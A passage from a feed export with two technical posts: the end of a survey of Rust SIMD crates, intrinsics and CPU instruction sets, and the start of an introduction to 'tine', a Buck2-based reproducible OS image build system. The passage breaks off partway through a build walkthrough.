As an example, the `sleef` crate doesn&#39;t work with the `multiversion` crate, you have to fork `sleef` and mate them yourself. Third-party extensions work in isolation but don&#39;t compose.&#xA;&#xA;What you need is an all-in-one solution where all the parts work together. Speaking of which...&#xA;&#xA;### fearless\_simd&#xA;&#xA;Fearless SIMD is an all-in-one solution where all the parts work together.&#xA;&#xA;Just look at that beautiful column of green check boxes that makes in the tables!&#xA;&#xA;Beyond the tables, the features unique to `fearless_simd` are:&#xA;&#xA;1. Orders of magnitude less `unsafe` code under the hood than other crates thanks to a clever design.&#xA;2. Multiversioning that Just Works, even for tiny functions. Just slap `#[simd]` on a function and you&#39;re done. A manual mode is available if you hate procedural macros.&#xA;3. Multiversioning is controlled by whoever builds the final binary. You can configure it without patching the libraries.&#xA;&#xA;The main drawback is boilerplate: instead of&#xA;&#xA; `fn my_func(a: A, b: B) {`&#xA;&#xA;you have to write&#xA;&#xA; `#[simd]&#xA;fn my_func&lt;S: Simd&gt;(simd: S, a: A, b: B) {`&#xA;&#xA;which is a mouthful.&#xA;&#xA;AVX-512 is only used on recent-ish CPUs where it doesn&#39;t hurt performance (see the hardware section below). You can manually configure `multiversion` to behave like this, but it&#39;s not the default and requires a lot of boilerplate (see above). All the other SIMD abstraction crates just check if AVX-512 is present or not.&#xA;&#xA;It recently shipped v1.0, with a security policy and everything.&#xA;&#xA;The biggest gap is trigonometry. There just isn&#39;t a port of anything like SLEEF to `fearless_simd` machinery yet.&#xA;&#xA;### wide&#xA;&#xA;`wide` has a lot going for it: good platform coverage, lots of implemented operations, and it&#39;s v1.0 already. It even has trigonometric functions, although their precision is explicitly left unspecified.&#xA;&#xA;The biggest downside is that it&#39;s fundamentally incompatible with multiversioning. This is fine if you&#39;re not targeting x86, or if you always build with `-C target-cpu=` for known hardware, but cripples performance otherwise. The only workaround is `cargo multivers`, but it only works for long-running programs, otherwise its startup costs dwarf the performane gains from SIMD.&#xA;&#xA;The other downside is not supporting any kind of generics, either over element types or vector widths. However, you can work around that using macros. Instead of making a function generic, wrap it in `macro_rules!` and write `$type::from_slice` instead of `T::from_slice`. It adds a bit of boilerplate, but removes the boilerplate for generic bounds, so win some lose some. I&#39;ve done it, it&#39;s not too bad, especially if you pull in something like the paste crate.&#xA;&#xA;If you&#39;re only targeting a handful of types, e.g. `f32` and `f64`, you might want to use the macro approach regardless, even in libraries with generics, because it also allows you to have arrays of &#34;generic&#34; sizes. Actual generic array sizes are a nightly-only and incomplete feature. But you can also work around that with the generic-array crate or just by making an array of the largest possible SIMD size.&#xA;&#xA;### pulp&#xA;&#xA;pulp was built to power the faer linear algebra library. This informs its priorities: the implemented operations are mostly math (e.g. no swizzles), and the API is geared towards native-width vectors.&#xA;&#xA;Fixed-width vectors are technically possible, but completely undocumented and quite awkward to use. I&#39;ve contributed some fixes for them while I was researching them, including for a soundness bug.&#xA;&#xA;There is no native support for being generic over the element type, but the macro trick I described for `wide` should work fine here too.&#xA;&#xA;Its multiversioning is the most verbose I&#39;ve ever seen. There&#39;s a macro to reduce boilerplate but even that is rather verbose compared to the alternatives.&#xA;&#xA;### macerator&#xA;&#xA;macerator is a relative of `pulp` with a similar design. It was built to power the CPU backend for burn.&#xA;&#xA;Compared to `pulp` it adds support for code generic over element type, but removes safe access to intrinsics and most of the documentation. There is no attempt at fixed-width vectors.&#xA;&#xA;It also enables SSE4.2 by default and adds optimized codepaths for LoongArch.&#xA;&#xA;This is the only library other than `std::simd` with some portable operations on `f16` data, albeit the list of supported operations is very limited. Using it with AVX-512 requires a nightly compiler, while NEON works on stable. It is still rather awkward because the standard library&#39;s `f16` is nightly-only and this crate has to get by without it.&#xA;&#xA;It isn&#39;t used by anything on crates.io other than `burn`.&#xA;&#xA;### Others&#xA;&#xA;I&#39;m excluding SIMD crates made for a single specific project (e.g. jxl\_simd, pathfinder\_simd) since they are not intended for a general audience. I&#39;m also excluding crates whose development is primarily AI-driven (e.g. magetypes, simdeez, thermite) because I cannot recommend them for production use, especially since the latter two are disconcertingly buggy.&#xA;&#xA;## Safe access to intrinsics&#xA;&#xA;Portable SIMD is good, but sometimes you want a very specific instruction that only a certain instruction set has. In that case you have to use intrinsics directly.&#xA;&#xA;Rust v1.87+ allows safely calling platform-specific intrinsics:&#xA;&#xA; `#[target_feature(enable = &#34;avx2&#34;)]&#xA;fn add_avx2(a: __m256, b: __m256) -&gt; __m256 {&#xA;    _mm256_add_ps(a, b) // this is an avx2 intrinsic&#xA;}`&#xA;&#xA;There are two caveats:&#xA;&#xA;1. Intrinsics to load data from memory or store it are still `unsafe` because they operate on raw pointers&#xA;2. The function we defined, `add_avx2`, still requires an `unsafe` block to call from a function not annotated with `#[target_feature(enable = &#34;avx2&#34;)]`&#xA;&#xA;But there are established solutions for both:&#xA;&#xA;1. Use safe wrappers for loads/stores that add bounds checks, which the optimizer then trivially removes from machine code so no performance is lost.&#xA;2. Check if a CPU feature is available at runtime and encode it in a type-level token, then use that to call functions requiring those features safely.&#xA;&#xA;Everything on this list is various implementations of these two ideas.&#xA;&#xA;### archmage&#xA;&#xA;archmage provides the CPU feature tokens and uses the safe\_unaligned\_simd crate for safe load/store wrappers.&#xA;&#xA;Its centerpiece is the `#[arcane]` procedural macro.&#xA;&#xA;You get a selection of predefined SIMD levels: the usual suspects of SSE2/SSE4.2/AVX2, and there are two different levels of AVX-512: the early slow implementations, and Ice Lake and later which is actually useful, at your option. On ARM there&#39;s baseline NEON plus a couple of extension levels.&#xA;&#xA;No support for 32-bit x86 (you always get the scalar fallback), but that&#39;s not a big deal in 2026.&#xA;&#xA;### fearless\_simd&#xA;&#xA;fearless\_simd gives you basically the same tools as `archmage` via its `kernel!` macro.&#xA;&#xA;This is a declarative macro, not a procedural one. This improves build times, but unlike `archmage` it doesn&#39;t support annotating generic or const-generic functions with it. Intrinsics and generics don&#39;t gel anyway, so it&#39;s usually not a big deal.&#xA;&#xA;It doesn&#39;t bundle `safe_unaligned_simd` since safe loads can be done through its portable SIMD abstraction, but you can pull it yourself if you really want to spell loads as `_mm256_loadu_epi64()`, usually for porting existing code written like that.&#xA;&#xA;The SIMD levels are the same as for the portable SIMD abstraction. So you don&#39;t get to opt in to early, slow AVX-512 if you really know what you&#39;re doing, or access NEON&#39;s non-baseline extensions like `aes` or `bf16`.&#xA;&#xA;On the upside, you can easily mix and match portable SIMD and intrinsics. This lets you write most of the algorithm in portable SIMD, and use a handful of intrinsics only where they are really needed.&#xA;&#xA;### pulp&#xA;&#xA;pulp is deceptively powerful in this regard.&#xA;&#xA;If you want to use intrinsics that aren&#39;t part of any SIMD level, such as `_mm_aesenc_si128` from the `aes` feature, this is the best (and only) way to do it safely without rolling your own SIMD feature tokens.&#xA;&#xA;Unfortunately it **does not document how to do that.**&#xA;&#xA;If you look up the docs, you&#39;ll find structs named after various CPU features, e.g. Avx512ifma, with a way to construct it and with the intrinsics corresponding to that CPU feature on it. So you&#39;d think you just construct it and call the function, right? **Wrong.**&#xA;&#xA;You can do that, and it works, but performance is awful. You are calling an intrinsic that requires extra CPU features from a function that isn&#39;t guaranteed to have them (remember, the check for the CPU feature can fail), so the intrinsic has to be in its own separate function. And now you are paying function call overhead - several instructions - to call a single instruction. &#34;Several instructions&#34; is a lot more than one, so the function call overhead dominates and performance plummets.&#xA;&#xA;What you have to do instead is create a context with all required features enabled in it, and then call a bunch of intrinsics from that context. Like this:&#xA;&#xA; `pulp::simd_type! {&#xA;    pub struct Ifma {&#xA;        pub ifma: &#34;avx512ifma&#34;,&#xA;    }&#xA;}&#xA;if let Some(isa) = Ifma::try_new() {&#xA;    isa.vectorize(&#xA;        #[inline(always)]&#xA;        || {&#xA;            // Put the entire hot loop here.&#xA;            // isa.ifma._mm512_madd52lo_epu64(...)&#xA;        },&#xA;    );&#xA;}`&#xA;&#xA;See here for a more complete example you can actually run.&#xA;&#xA;For completeness, I should mention that a similar feature was proposed for the `fearless_simd` repository as a separate, independent crate. It was fully implemented, but nobody stepped up to actually maintain it, so it was never merged. If something irks you about `pulp`, try that instead and see if you&#39;re willing to take it over.&#xA;&#xA;## The state of intrinsics&#xA;&#xA;SIMD intrinsics underpin all SIMD code except for `std::simd` and autovectorization. They&#39;re quite straightforward, too: intrinsics are supposed to clearly map to specific CPU instructions. Given how simple and important they are, you&#39;d expect them to work really well.&#xA;&#xA;They don&#39;t. Not in Rust, not in C++, not in C.&#xA;&#xA;There is a fundamental tension between &#34;give me this exact instruction&#34; and compiler optimizations. If you have the compiler treat SIMD intrinsics as pure black boxes, you end up with inefficiencies elsewhere.&#xA;&#xA;For example, a real bug I&#39;ve run into on ARM is that `u32x4::from([1,2,3,4])` was slow. This is literally loading a constant, and `u32x4` has the exact same memory layout as an array of four `u32`, so it should be _really_ cheap - just a single load.&#xA;&#xA;It turns out that the underlying ARM load intrinsic, `vld1_u32_x4`, was implemented as a black-box operation in the compiler, so all LLVM saw was a black-box operation on some on-stack value. The generated assembly first loaded the constant into registers, then placed it onto the stack, and then loaded it back into registers through the black-box `vld1_u32_x4`.&#xA;&#xA;The fix was to drop the black-box implementation for `vld1_u32_x4` and make it into a compatibility wrapper for regular loads that the compiler can properly optimize. Many thanks to Folkert de Vries, a Rust stdarch maintainer, for helping investigate this and implementing the fix.&#xA;&#xA;So let&#39;s just turn all intrinsics into wrappers for regular compiler ops, right? I wish.&#xA;&#xA;That `vld1_u32_x4` isn&#39;t really a black box. It&#39;s a hardware operation that nobody has written optimization passes for yet. And if you want to make some exotic operation into basic blocks comprehensible to the compiler (or just abstract over common behavior of slightly different hardware instructions), the operation needs to be made up of _several_ basic blocks. This is really attractive for Rust because it makes supporting backends other than LLVM easier, but Clang has also been moving in this direction.&#xA;&#xA;But then to emit the desired operation from several building blocks, you need the optimizer to recombine them into a single instruction. This can be easily messed up by unrelated optimization patterns that e.g. reorder these blocks and break the pattern-matching. So these optimizations sometimes work on simple test cases but break in real-world code.&#xA;&#xA;So **SIMD intrinsics are stuck in an endless tug of war** between lowering into the expected instructions and working with the expected compiler optimizations.&#xA;&#xA;And on top of the fundamental limitations, there are also compiler instruction selection bugs. I&#39;ve run into LLVM seeing a 512-bit vector shuffle operation with constant indices and going &#34;oh, I know, I can optimize this!&#34; except its &#34;optimization&#34; uses SSE4.2-era operations and is far, far slower than just running the actual shuffle instruction I asked for. (That one&#39;s fixed in LLVM 23, following my report). Or lowering an intrinsic whose sole purpose is efficient encoding into a less efficient encoding. I literally have a list of such compiler bugs I&#39;ve found. The Rust-specific ones got fixed after I reported them, but there is a bunch of LLVM bugs affecting all of Rust, C++ and C still unfixed.&#xA;&#xA;And in case you&#39;re wondering - no, this isn&#39;t just an LLVM problem. GCC has similar issues, and MSVC is noticeably worse at this than either of the major open-source compilers.&#xA;&#xA;**Bonus fun fact:** Intel forgot to include some AVX-512 instructions into their searchable Intrinsics Guide, so most compilers didn&#39;t implement them, and now you can&#39;t reach those instructions from high-level languages. I&#39;ve contributed them to rustc but they haven&#39;t shipped on stable yet.&#xA;&#xA;### Inline assembly&#xA;&#xA;You&#39;d think you could outsmart the compiler that way and bypass all the issues with intrinsics. And you kinda sorta can, except now your inline assembly block is a real honest-to-goodness black box.&#xA;&#xA;Not only are all the optimization issues back with a vengeance, but entering and exiting the inline assembly block has some overhead.&#xA;&#xA;This works okay if you want to write a large-ish function in it and are willing to sacrifice compiler optimizations, but isn&#39;t profitable if you just want to use an instruction or two.&#xA;&#xA;## Compiler feature wishlist&#xA;&#xA;I&#39;ll keep this brief, in the order of importance:&#xA;&#xA;1. `min_generic_const_args` would allow using arrays in conjunction with hardware-width SIMD vectors. There are workarounds (just use a huge array, use `generic-array` crate, or use macros instead of generics) but all are partial and/or ugly.&#xA;2. With the Struct Target Features RFC, `fearless_simd`/ `pulp`/ `macerator` would no longer need `#[simd]` annotations on functions. It&#39;s less boilerplate, but most importantly you can no longer accidentally forget to put them there and cause performance to drop.&#xA;3. We need a way to make iterators not conflict with multiversioning. The Struct Target Features RFC would solve this too. Alternatively an equivalent of GCC&#39;s `__attribute__((flatten))` should do the trick, but that requires either even more boilerplate or proc macros.&#xA;4. `generic_const_args`(not `min`) would significantly improve build times when wrapping certain intrinsics into portable abstractions, and make using `std::simd` much nicer.&#xA;&#xA;In the standard library I&#39;d love to see crater-like verification of changes to intrinsics, and `std::simd` available on stable so that ecosystem crates would delete most of their code and gain support for all the obscure platforms.&#xA;&#xA;## Conclusion&#xA;&#xA;Support for SIMD in the Rust ecosystem has matured a great deal.&#xA;&#xA;While some things could still be improved (notably trigonometry), recent advances in compiler features and the library ecosystem made Rust attractive for SIMD code even when memory safety is not a hard requirement.&#xA;&#xA;## Bonus round: The state of hardware&#xA;&#xA;After writing portable SIMD code for 5 different instruction sets, I have _opinions._&#xA;&#xA;### x86&#xA;&#xA;It&#39;s a mess, and we have Intel to thank for it.&#xA;&#xA;AVX2 is simultaneously the most common and the most cursed instruction set I&#39;ve ever had to work with.&#xA;&#xA;Whenever I try to implement a simple, straightforward SIMD operation, half the time AVX-512 and NEON have it natively, but AVX2 needs complex and slow emulation. The fact that instead of a proper 256-bit ISA it&#39;s more like two 128-bit execution units smushed together really doesn&#39;t help.&#xA;&#xA;But it gets worse. Despite CPUs with AVX2 launching in 2013, the most recent Intel CPU without AVX2 launched in 2021! So you can&#39;t even count on having AVX2, good luck making do with SSE4.2 from... _checks notes..._ 2008!&#xA;&#xA;That&#39;s how you get 15% of x86 CPUs in the Firefox hardware survey still not having AVX2 in 2026. Have fun writing and maintaining SSE4.2 codepaths just for them! _What year is this?!_&#xA;&#xA;Intel launched AVX-512 in 2015, which fixed much of the insanity of AVX2, and then... just didn&#39;t put it into any CPUs? It was only really present on the server, everyone else was stuck with AVX2 or even just SSE4.2. So Intel has **three completely different SIMD extensions** all existing at the same time!&#xA;&#xA;But wait, it gets even worse!&#xA;&#xA;Running AVX-512 instructions on early Intel CPUs with AVX-512, even on a single core, reduces CPU frequency of _all_ cores. An AVX-512 workload anywhere hurts performance of the entire rest of the chip! Ironically, AVX-512 only appeared in high-end CPUs with lots of cores where this kind of fallout is _especially_ bad!&#xA;&#xA;You&#39;d think you could still benefit from AVX-512 on these CPUs if you run it on all cores at once for a long time, but then you end up bottlenecked on memory anyway, and whatever the CPU is doing becomes irrelevant. So on those CPUs AVX-512 doesn&#39;t actually give you any performance and often hurts it, except in artificial microbenchmarks that don&#39;t touch memory.&#xA;&#xA;This is such a shame, because AVX-512 is such a big improvement on AVX2 otherwise. Forget the 512-bit width, just give me the sane set of supported operations!&#xA;&#xA;This downclocking behavior was only fixed in 2019, in the Ice Lake architecture. Not fully, but enough to make AVX-512 profitable overall. This is why `fearless_simd` only supports AVX-512 on Ice Lake and later, and on AMD which never had downclocking issues to begin with.&#xA;&#xA;AMD showed how badly Intel messed this up by releasing Zen 4, which didn&#39;t even have hardware 512-bit operations. It mapped most 512-bit operations to 256-bit execution units, and still smoked Intel&#39;s native 512-bit hardware in benchmarks. Zen 5 with its native 512-bit hardware sealed the deal. No wonder Intel is struggling recently.&#xA;&#xA;Not that AMD is blameless. They&#39;re the reason we can&#39;t use scatter/gather instructions because in Zen they&#39;re not implemented natively in hardware, and end up being slower than issuing lots of small loads. Intel made scatter/gather slower than scalar loads in early AVX2 CPUs too, but they got their act together eventually, sort of; AMD didn&#39;t even try.&#xA;&#xA;LLVM sometimes emits scatter/gather instructions for AVX-512 when autovectorizing code, which hurts performance by 1.75x on Intel and by 4x on AMD, so I&#39;m not even sure why LLVM even bothers. I believe you need to pass `-C target-cpu=` to hit this, but I haven&#39;t extensively tested it.&#xA;&#xA;Steam hardware survey shows that 23.9% of systems have AVX-512. This is skewed towards high-end/gaming systems; for example, the 15% of systems with only SSE4.2 from the Firefox graphics survey are at only 2% here. It also shows a breakdown by AVX-512 optional features, and from them we can infer that 23.95% ( `avx512vnni`) minus 23.90% (baseline `avx512f`) equals -0.05% of systems with awfully slow AVX-512. Your guess on why this percentage is negative is as good as mine.&#xA;&#xA;So at least on desktop, the broken AVX-512 is nonexistent, which means you don&#39;t have to worry about it. Therefore setting Ice Lake as a requirement for AVX-512 loses you nothing and gains some useful instructions, but using the baseline AVX-512 isn&#39;t awful either.&#xA;&#xA;There is no public data on the prevalence of Skylake servers, where AVX-512 is present but degrades performance. Using Ice Lake as a requirement for AVX-512 so that Skylake uses AVX2 should prevent that degradation.&#xA;&#xA;Intel was _this_ close to messing things up again by replacing AVX-512 with AVX10, which is AVX-512 but with either 256-bit or 512-bit vectors, and you don&#39;t know which ones. But AMD&#39;s clearly superior design that just maps 512-bit vectors onto 256-bit hardware averted this disaster and forced Intel back into a sane programming model. Whew. Thanks, AMD.&#xA;&#xA;This year, at long last, AVX-512 is becoming mandatory in upcoming Intel CPUs via its rebranding into AVX 10.2. Which is what we wanted all along.&#xA;&#xA;Well, not the rebranding.&#xA;&#xA;Also, doing math on floating-point values very close to zero makes performance plummet. AMD is about 2x slower on those, but on Intel you get a 30x slowdown.&#xA;&#xA;Somehow, every time I learn something horrifying about SIMD, it&#39;s always Intel&#39;s fault.&#xA;&#xA;### ARM&#xA;&#xA;Everything that AVX2 got wrong, 64-bit NEON gets right.&#xA;&#xA;With only 128-bit vectors you&#39;d think it is an equivalent of SSE4.2, but it&#39;s actually closer to AVX2.&#xA;&#xA;NEON has the same register space as AVX2, which is often the limiting factor in practice. And instead of making you deal with two 128-bit execution units side by side explicitly, beefy ARM cores transparently run 128-bit operations in parallel via instruction-level parallelism, while cheap power-constrained cores can still execute them one by one.&#xA;&#xA;NEON also adds just enough instructions larger than 128 bits to make common operations Just Work. Heck, NEON on M4 runs 512-bit swizzles at the same rate as AVX-512 on Zen4!&#xA;&#xA;And all of this in a single, simple programming model instead of three different ones. And it&#39;s mandatory in 64-bit ARM chips, with no need for multiversioning!&#xA;&#xA;The only criticism I can level at Aarch64 NEON is that a single chip has two kinds of cores (&#34;performance&#34; and &#34;efficiency&#34;) with completely different execution characteristics, so an instruction sequence that is fast on performance cores is slow on efficiency cores, and vice versa. So even if you know a specific CPU you&#39;re targeting, you can&#39;t really select an optimal implementation, it&#39;s all trade-offs! And when you consider the diversity of ARM CPUs out there, it only gets worse. Fortunately, NEON has enough operations implemented directly as hardware instructions with reasonable performance to prevent this from turning into a total nightmare.&#xA;&#xA;Meanwhile SVE is pretty much useless. SVE2 is now mandatory in ARM CPUs, but it&#39;s implemented at 128-bit width even in high-end server chips, so it&#39;s just an awkward NEON with extra steps. Technically there was 256-bit SVE in a single generation of server ARM chips for the cloud, but that&#39;s not SVE2, and in the cloud you just use AVX-512 instead anyway. Maybe we need to wait another decade or so to see its genius, when 256-bit SVE2 hardware becomes widespread, but for now - don&#39;t bother.&#xA;&#xA;ARM doesn&#39;t have an answer to AVX-512, with its 4x larger register space and four 512-bit execution units for crunching through 2048 bits at once. But considering their target markets, and that good AVX-512 ends up bottlenecked by memory bandwidth anyway, I&#39;m not convinced ARM needs one. The main benefit of AVX-512 is a much wider range of supported operations, which NEON already has.&#xA;&#xA;### RISC-V&#xA;&#xA;RISC-V vectors (RVV) are completely irrelevant because vector-capable RISC-V hardware is completely irrelevant. RISC-V is dominating in cheap microcontrollers, but the performance/price ratio for vector-capable RISC-V hardware in 2026 is abysmal. Maybe Tenstorrent will change that in 2028 or so when they actually tape out some silicon, but you definitely don&#39;t have to worry about it in 2026.&#xA;&#xA;Even if decent hardware existed, the way the spec is written makes certain crucial instructions unusable to compilers. This alone degrades performance to ridiculous levels unless you mess with obscure compiler flags.&#xA;&#xA;### Others&#xA;&#xA;The remaining SIMD-capable architectures are so obscure that you shouldn&#39;t bother thinking about them unless someone is paying you to work on them - IBM and/or banks in case of POWER and s390x, or the Chinese government in the case of LoongArch. `std::simd` still runs CI on 64-bit SPARC, but nobody&#39;s going to pay you to support that.</content>
    <link href="https://shnatsel.github.io/state-of-simd-rust-2026/" rel="alternate"></link>
    <author>
      <name>janerik</name>
    </author>
  </entry>
  <entry>
    <title>From Thin Air to Bootable Images: The Tine Build System</title>
    <updated>2026-09-24T22:25:11+09:00</updated>
    <id>hn_49830265</id>
    <content type="html"># From Thin Air to Bootable Images: The tine Build System&#xA;&#xA;By Daan De Meyer and Martin Pitt&#xA;&#xA; **Table of contents**&#xA;&#xA;This post is part of a series covering some of the open source work we have been doing in recent months. Today we introduce and publish _tine_, our new Buck2-based build system.&#xA;&#xA;## Our Requirements&#xA;&#xA;Building an operating system with cryptographically verifiable integrity has to start with a build system with these very properties. At the same time, we are part of the greater open source community and want both to contribute and re-use as much existing work as possible. We also aim for efficient development with fast turnaround.&#xA;&#xA;This roughly translates into the following requirements for our build system:&#xA;&#xA;- **Minimal host requirements.** It must be self-contained and must minimize external dependencies, so that it can be run in any environment.&#xA;- **Full control over inputs.** It must allow pinning every piece of software that goes into a product. It must support a choice of upstream distributions (Fedora, CentOS, Arch, Debian, etc.) and reuse existing packages where possible, while still making it easy to react quickly to CVEs and to diverge (either temporarily or permanently) from upstream packaging decisions when necessary.&#xA;- **Integrated package machinery.** It must provide tooling for importing, updating, and merging imported packages.&#xA;- **Cheap world rebuilds.** It must be able to rebuild the world on demand, e.g. after a gcc bump.&#xA;- **Hermetic, reproducible builds.** All component and image builds must run in a hermetic environment and produce bitwise reproducible output.&#xA;- **Native image builds.** It must be able to build bootable operating system images and systemd sysext images natively and concurrently.&#xA;- **Monorepo-based iteration.** It must support maintaining the operating system in a single top-level monorepo for fast end-to-end iteration. A change to an imported rpm or to a Go or Rust component must be immediately buildable and testable across the full set of images, without intermediate commits or pushes and without elaborate version or dependency declarations.&#xA;- **First-class custom components.** It must natively and efficiently build Go and Rust projects from pinned external repositories, for example kubernetes or varlink-http-bridge.&#xA;- **Scanner compatibility.** Built images must work with standard SBOM tooling and security scanners such as syft/grype or trivy.&#xA;- **Caching.** Builds must be able to retrieve unchanged components from a local and/or global cache. Building everything from scratch can take hours, and a developer is usually only working on a single component.&#xA;&#xA;## Existing Tools&#xA;&#xA;Before building our own build tool, we evaluated several options.&#xA;&#xA;### mkosi&#xA;&#xA;Given our team includes the creator and maintainer of `mkosi`, it was a natural first candidate to evaluate. But we quickly came to the conclusion that it has some fundamental shortcomings. It’s great at building individual images based on upstream packages, but becomes restrictive when building several weakly related images or if you need more control over the artifacts that make up an image. Building multiple images is limited to images that are intended to be shipped as part of the “main” image.&#xA;&#xA;We need to build many different kinds of artifacts in a uniform and robust way, not just images. Hence the build needs to be orchestrated by a generic and flexible tool. The main build file should be a language calling into _library functions_ like “compile a cargo crate” or “build a UKI”. mkosi is the opposite, it’s a _framework_: It knows how to build images, and only gives you free-form opaque hooks for the other kinds of builds. That leads to a bad experience when you want to build more than just images.&#xA;&#xA;### Open Build Service&#xA;&#xA;The Open Build Service (OBS) is a powerful fully-integrated build system that is primarily used by SUSE and the openSUSE project to produce all of their artifacts, anything from packages to ISOs, and many other image formats. It has strong dependency tracking and supports a dizzying array of distributions.&#xA;&#xA;However, it’s also the antithesis of “minimal host requirements”. The server side of it is required, central, and non-trivial to self-host. It’s also not a generic build system, meaning any new artifact types would either have to be modelled as packages or require heavy patches to OBS. We concluded that this lack of flexibility combined with its overall architecture would make it difficult for OBS to meet our requirements.&#xA;&#xA;### BuildStream&#xA;&#xA;Apache BuildStream describes the operating system image as a graph of YAML &#34;elements&#34;, each with its own sources, dependencies and build commands. BuildStream builds each one in a bubblewrap sandbox and caches the result under a hash of everything that went into it, similar to Buck2. It is mature and used to build freedesktop-sdk, GNOME OS, and WebKitGTK.&#xA;&#xA;Our concerns with BuildStream are mostly around bootstrapping and extensibility. BuildStream is a Python application with compiled extensions and other dependencies. It relies on a separate set of helper programs, plus sandboxing tools from the host. Each of those can be pinned, but through different mechanisms, and even then the result still depends on the host&#39;s Python. In practice you run it from a pinned container image instead, but then you’re still dependent on an entire container runtime you don’t control.&#xA;&#xA;BuildStream’s YAML is a plain data format, and is extended with Python plugins. YAML has no functions, so over time you end up copy-pasting across the project. Ultimately we decided to go for a tool with a better bootstrapping and pinning story as well as a more flexible language.&#xA;&#xA;### Antlir&#xA;&#xA;Antlir is Meta&#39;s OS image builder, built on top of the Buck2 build system engine. Buck2 is Meta&#39;s open source build system with emphasis on correctness, flexibility, and caching as much as possible. Antlir implements various rules for building images with Buck2.&#xA;&#xA;As Antlir is a high-level tool focused on Meta’s internal repository, it is naturally very opinionated and designed for Meta’s internal use cases. For example, it requires btrfs and is strongly focused on a single monorepo.&#xA;&#xA;While we decided against using Antlir itself, its underlying engine, Buck2, turned out to be a good fit, and we ended up choosing it as the foundation for our own build system.&#xA;&#xA;## Our Build System: tine&#xA;&#xA;In essence, tine is a set of opinionated Buck2 rules to build rpm, Rust crate and Go module components, UKIs, and images; it can sign images either with a hardware key through PKCS#11 or a locally generated key. The intent is to combine the best ideas from Antlir and mkosi into a single tool.&#xA;&#xA;tine has only three requirements on its build host: git, python3 (just for its own bootstrapping, not for production builds) and user namespaces. From there, it bootstraps everything it needs from pinned declarations to get a reproducible and independent build environment. That can be a distribution as old or modern as you need.&#xA;&#xA;An important tine concept is the “ **box**”, which is a declared and pinned down environment to run a build task. Think containers or distrobox, but declared natively in Buck2’s language, and using Buck2’s caching and rebuild rules, so they build quickly and naturally, stay reproducible, and need no further dependencies to run. tine itself defines boxes for running rpmbuild, go, or cargo, or a bigger multi-purpose one called fedora.rawhide.box which contains e.g. systemd-ukify for building images and QEMU for running virtual machines. Your own project can define its own boxes.&#xA;&#xA;### tine’s Engine: Buck2&#xA;&#xA;To better understand this post and the examples, here is a one-minute Buck2 primer for those familiar with Make or Meson:&#xA;&#xA;- **Build file:** A BUCK file is the directory&#39;s Makefile equivalent. It&#39;s written in a Python dialect called Starlark, and declares all _targets_ that you can build.&#xA;- **Cell:** A named build graph root; these roughly follow the boundaries of git repositories: // is your own top-level project (the OS you want to build), tine// is the tine checkout which your project pulls in.&#xA;- **Target:** A named node in the build graph, i.e. one particular thing that you want to build. They are addressed with an absolute path of the form cell//directory/sub:name, which refers to a target name defined in cell’s directory/sub/BUCK file. Within a cell, you can also use relative paths, like `subdir:name`, or even just `:name` for a target in the current directory. A single target can publish several output variants (“subtargets”), e.g. `:my_cool_os[qcow2]` or `:my_cool_os[sbom]`.&#xA;- **Rule:** The equivalent of a meson `*_target()`, or the structure of a Makefile rule: a Starlark expression which translates a target into a set of _actions_ and their parameters. It does not run anything by itself. For example, a `bootable_disk(name = “myos”, param1 = …)` rule defines a `myos` target and invokes a `bootable_disk` rule which translates it into actions like “install rpms”, “run `systemd-repart”` and so on.&#xA;- **Action:** One build command with its declared inputs and outputs, the equivalent of the commands in a Makefile rule. That abstraction allows running all of them consistently in a sandbox which only sees these inputs. When Starlark doesn’t suffice, these rules can be implemented with the full power of Python.&#xA;&#xA;More information can be found on Buck2’s key concepts page.&#xA;&#xA;Unlike Make or Meson, Buck2 never decides what to rebuild from timestamps. An action is keyed by a hash of all of its inputs: the sources, the tool binaries, the build platform configuration, and the command line itself. That is what makes its incremental builds correct and trustworthy, and it also allows taking an action&#39;s result from a shared cache instead of re-running it.&#xA;&#xA;## Walkthrough: Building a Bootable Image&#xA;&#xA;Let’s walk through how to use tine in your own projects. We will build a very basic example from scratch: a bootable image based on Fedora Rawhide with a Go project, and boot it. In this example, we’ll use duf, a CLI tool that shows free/used disk space in a text terminal with nice ASCII art.&#xA;&#xA;Let’s follow tine&#39;s README and set up a fresh demo git repository which pulls in tine and initializes it.&#xA;&#xA; `git init tine-demo&#xA;cd tine-demo&#xA;git submodule add https://github.com/amutable-systems/tine tine&#xA;tine/bin/tine init&#xA;git add .&#xA;git commit -m &#34;initialize&#34;&#xA;`&#xA;&#xA;Now let’s add a BUCK file. We’ll walk through it in several blocks, but these all go in the same file. First we need to import some definitions. This is Starlark, so akin to Python’s import statements.&#xA;&#xA; `load(&#34;@tine//box:defs.bzl&#34;, &#34;box&#34;)&#xA;load(&#34;@tine//git:defs.bzl&#34;, &#34;git&#34;)&#xA;load(&#34;@tine//go:defs.bzl&#34;, &#34;go&#34;)&#xA;load(&#34;@tine//image:defs.bzl&#34;, &#34;image&#34;)&#xA;`&#xA;&#xA;Next we need to define a build environment for the Go compiler. tine already offers a Fedora rawhide catalog. So, let’s just use that (hence the tine// cell) and Fedora’s golang package. A real project would likely define and track their parent OS catalog by itself, instead of blindly following tine’s.&#xA;&#xA; `box.new(&#xA;    name = &#34;go.box&#34;,&#xA;    packages = [&#34;golang&#34;],&#xA;    release = &#34;tine//catalog:fedora.rawhide.release&#34;,&#xA;)&#xA;`&#xA;&#xA;Declare the duf Go project git repository which we want to build. tine requires pinning every input exactly, so we specify a git commit ID. That git repository is then passed as input to the go.package() rule which binds the above go.box and the git checkout, both referenced as relative targets (see above), hence the colon separator.&#xA;&#xA; `git.fetch(&#xA;    name = &#34;duf.git&#34;,&#xA;    repo = &#34;https://github.com/muesli/duf&#34;,&#xA;    rev = &#34;4636deb4a7b707a9f04c602db033f9837e50b3f6&#34;,&#xA;)&#xA;go.package(&#xA;    name = &#34;duf&#34;,&#xA;    box = &#34;:go.box&#34;,  # a target in the current directory&#xA;    src = &#34;:duf.git&#34;, # another target&#xA;)&#xA;`&#xA;&#xA;With that we can already build and execute the binary.&#xA;&#xA; `tine/bin/tine buck run :duf&#xA;# [...]&#xA;# BUILD SUCCEEDED - starting your binary&#xA;# 5 local devices&#xA;# [...]&#xA;`&#xA;&#xA;And now for the last big piece: the bootable image. Just as with the Go box, we re-use the tine catalog’s package manager that gets packages from Fedora Rawhide. This is the minimum set to be able to boot in a virtual machine, plus bash. As an extra ops (operation) this installs the built hello binary from the above go rule.&#xA;&#xA; `image.bootable_disk(&#xA;    name = &#34;demo&#34;,&#xA;    package_manager = &#34;tine//catalog:fedora.rawhide.package-manager&#34;,&#xA;    